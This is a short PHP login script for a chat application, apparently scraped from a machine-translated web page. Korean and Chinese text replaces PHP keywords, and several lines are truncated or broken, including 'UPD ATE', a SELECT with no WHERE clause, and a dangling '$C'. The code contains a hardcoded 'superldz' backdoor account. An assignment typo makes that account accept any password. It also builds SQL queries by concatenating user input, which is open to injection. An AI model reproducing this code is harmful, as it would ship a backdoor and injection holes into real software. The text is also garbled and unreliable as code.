INDEX.PHP
代码如下!
함수 delquot($sStr){
$s=str_replace(chr(124),"",$sStr);
$s=str_replace(chr(39),"",$s);
$s=str_replace(chr(34),"",$s);
$s를 반환합니다.
}
if ($cmdYes=="进 入"){
$sUserName=htmlspecialchars(trim(delquot($sUserName)));
if ($sUserName=="superldz" && $sPass="superldz"){
$sUserID=1;
include("chtmain.php3");
exit();
}
else{
$C
if ($ConnID){
$result=@odbc_exec($ConnID,"SELECT UserID,UserName,PassWord,RoomID,Sex FROM User Name ='".$sUserName."'");
if (@odbc_fetch_into($result,0,&$rArr)){
$sUserID=$rArr[0];
if ($rArr[2]==$sPass){
if ($rArr[3]==0){
@odbc_exec($ConnID,"UPD ATE 사용자 SET RoomID=1,LstDate= '".date("Y.m.d")."',ToID=0,T >");
테이블>